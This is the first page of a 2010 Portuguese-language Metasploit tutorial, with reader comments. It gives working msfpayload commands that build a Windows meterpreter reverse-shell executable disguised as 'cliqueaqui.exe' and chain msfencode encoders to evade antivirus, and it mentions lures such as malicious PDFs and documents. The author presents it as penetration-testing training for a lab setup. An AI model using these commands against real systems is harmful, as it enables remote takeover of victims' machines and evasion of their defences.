Metasploit Exploitation

Metasploit é uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.

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Por: Roberto Soares (3spreto) em 03/03/2010 | Blog: http://codesec.blogspot.com


Metasploit Exploitation



Metasploit é uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.

Recomendo para este artigo um conhecimento prévio sobre o framework, linha de comando em Linux, redes de computadores, TCP/IP etc.

O cenário utilizado para a criação deste artigo é mostrado na figura a baixo.
Linux: Metasploit Exploitation
Descrição:
  • Attacker = De onde partiram os ataques
  • Roteador1 = Roteador da rede local do atacante
  • XX.XX.XX.XX = IP WAN
  • YY.YY.YY.YY = IP WAN
  • Roteador2 = Roteador da rede local do alvo
  • 10.0.0.0/8 = Classe utilizada na rede interna do alvo

Obs.: Ficar atento ao redirecionamento das portas no roteador para a máquina atacante.

Nota: Em seus testes não há a necessidade de utilizar as mesmas classes de IPs e quantidades de máquinas utilizadas neste exemplo, fica a seu critério a alteração dos mesmos.

Dica: Com 2 máquinas reais e softwares de virtualização instalada em ambos, você conseguirá montar o cenário acima proposto.

Começando

Assumirei que você já tenha estabelecido uma sessão meterpreter com pelo 1 máquina na rede alvo.

Ah, ainda não? E não sabe como fazer? Ok! Sem problemas, irei demonstrar uma simples técnica apenas para ganharmos a sessão meterpreter e assim podermos continuar com nosso artigo.

Entre no diretório do MSF com o seguinte comando:

# cd /pentest/exploits/framework3/

Ok! Antes de continuarmos, é sempre bom mantermos o metasploit atualizado, sendo assim, como já estamos no diretório do msf, basta o comando "svn update" para atualizarmos o MSF.

# svn update

Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo. Prosseguimos com o seguinte comando:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe

Será criado no diretório corrente o arquivo executável "cliqueaqui.exe", agora basta enviar para o alvo e aguardá-lo clicar para execução, certo?

NÃO, não está certo! E os antivírus? Com este simples payload que criamos, o AV, detectará assim que ele por os "pés" no alvo!

Se enviarmos o arquivo criado acima "cliqueaqui.exe" para uma análise online com vários AVs, veremos que muitos o detectam.

Utilizei o site Vírus Total para a verificação online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo "cliqueaqui.exe".
Linux: Metasploit Exploitation
Veja também no site Verificador de Malware Jotti, neste, dos 20 scanners, 7 detectam o arquivo.
Linux: Metasploit Exploitation
Sendo assim, vamos "tunar" nosso arquivo cliqueaqui.exe. Digite o seguinte comando:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 R | ./msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | ./msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | ./msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe

Obs.:
1. Troquem XX.XX.XX.XX pelo IP WAN do seu roteador!
2. Lembrando que o comando acima não é a melhor prática para burlar AV! A opção -c diz quantas vezes cada encoder irá interagir com o nosso payload, nos dias de hoje, isso já não adianta muito, demonstrado apenas para ver as possibilidades de se redirecionar a saída de um encoder para outro.

Pronto, agora podemos ver que já diminuímos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.
Linux: Metasploit Exploitation
Concluído a criação do nosso payload, agora vamos para a próxima fase.

NOTA: Não entrarei em detalhes nas opções usadas acima a princípio, assim que possível explicarei os opções novamente com outro artigo mais detalhado neste quesito.

Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sessão meterpreter. Mas poderiam ser utilizados outras técnicas, como envio de arquivo pdf com código malicioso, uma imagem jpeg, um arquivo doc usando engenharia social fazendo com que a vítima execute outros arquivos etc. Fica para um próximo artigo.

Usem a imaginação!

DICA: Gaste algum tempo na leitura das opções dos comandos usados acima.

# ./msfpayload -h
# ./msfencode -h
# ./msfencode -l


Obs.: Vou considerar que vocês criaram um ambiente virtual para os testes, sendo assim, não há a necessidade de aprofundar (não agora!) em criação de payloads e tal, na máquina virtual vocês podem desabilitar o AV e executar o primeiro payload que criamos, assim será criada a sessão entre o atacante e o alvo normalmente.

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Páginas do artigo
   1. Metasploit Exploitation
   2. Console Metasploit
   3. Meterpreter
   4. Avançando com Meterpreter
   5. Sniffing
   6. Mantendo acesso
   7. PrintScreen
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Comentários
[1] Comentário enviado por infoslack em 03/03/2010 - 11:52h

Muito bom o artigo, muito bom mesmo, vale um 10!
Parabéns.

[2] Comentário enviado por stremer em 03/03/2010 - 12:46h

amigo...
esse realmente ta de parabéns!!!
Você deveria ter escrito este antes do referente ao adobe.... pois esse é ideal para iniciantes... ai depois se entra nos exploits mesmo!

Abs

[3] Comentário enviado por roberto_espreto em 03/03/2010 - 12:51h

@infoslack
Muito obrigado cara! Abraços!


@stremer
Valeu mesmo cara!
Sim, escrevi este artigo "Metasploit Exploitation", antes do "Metasploit Adobe Exploit", o que aconteceu é que foi aprovado antes deste acima! :P
Abraços cara!

3spreto.
.

[4] Comentário enviado por angkor em 03/03/2010 - 13:23h

Artigo muito bom!

Como administrador de redes me preocupo com esses ataques lammers, imaginem a quantidade "garotos" seguindo os passos acima.

Abcs.

[5] Comentário enviado por zelongatto em 04/03/2010 - 09:49h

ótimas materias cara..
parabens..
valew

abraço

[6] Comentário enviado por roberto_espreto em 04/03/2010 - 10:34h

@angkor
Valeu velho! :P
Mais então cara, se você seguir alguma norma de melhor prática onde administra sua rede, não tem muito em que se preocupar.
Esse artigo tenta explicar um pouco mais a parte de pós exploração oferecido pelo metasploit, pra um "lammer" não sei se teria a capacidade suficiente pra conseguir burlar um AV ou mesmo conseguir acesso em um alvo! Com uma boa política e conscientização dos seus colaboradores, conseguirá diminuir muito as possibilidades de ataques.
Abraços.

@zelongatto
Valeu, obrigado.
Abração...


3spreto.
.




[7] Comentário enviado por rodrigom em 15/03/2010 - 11:41h

Td bem... esse arquivo .exe que voce manda para a "vitima", pode ser um arquivo qualquer, so para estabelecer a conexao, nao precisa ser um executavel especificamente, certo ?

[8] Comentário enviado por fernandoborges em 27/03/2010 - 11:21h

Extremamente motivador. Parabéns pelo artigo! Show mesmo!

[9] Comentário enviado por ivoneyborges em 25/06/2014 - 02:06h

Muito Bom cara

[10] Comentário enviado por leumas1994 em 04/10/2016 - 17:56h

Muito bom seu material, mas tenho uma dúvida.
Quando eu saio de uma sessão ela é fechada, como faço para me reconectar sem precisar matar o aplicativo exploit e abri-lo novamente?
Obrigado.


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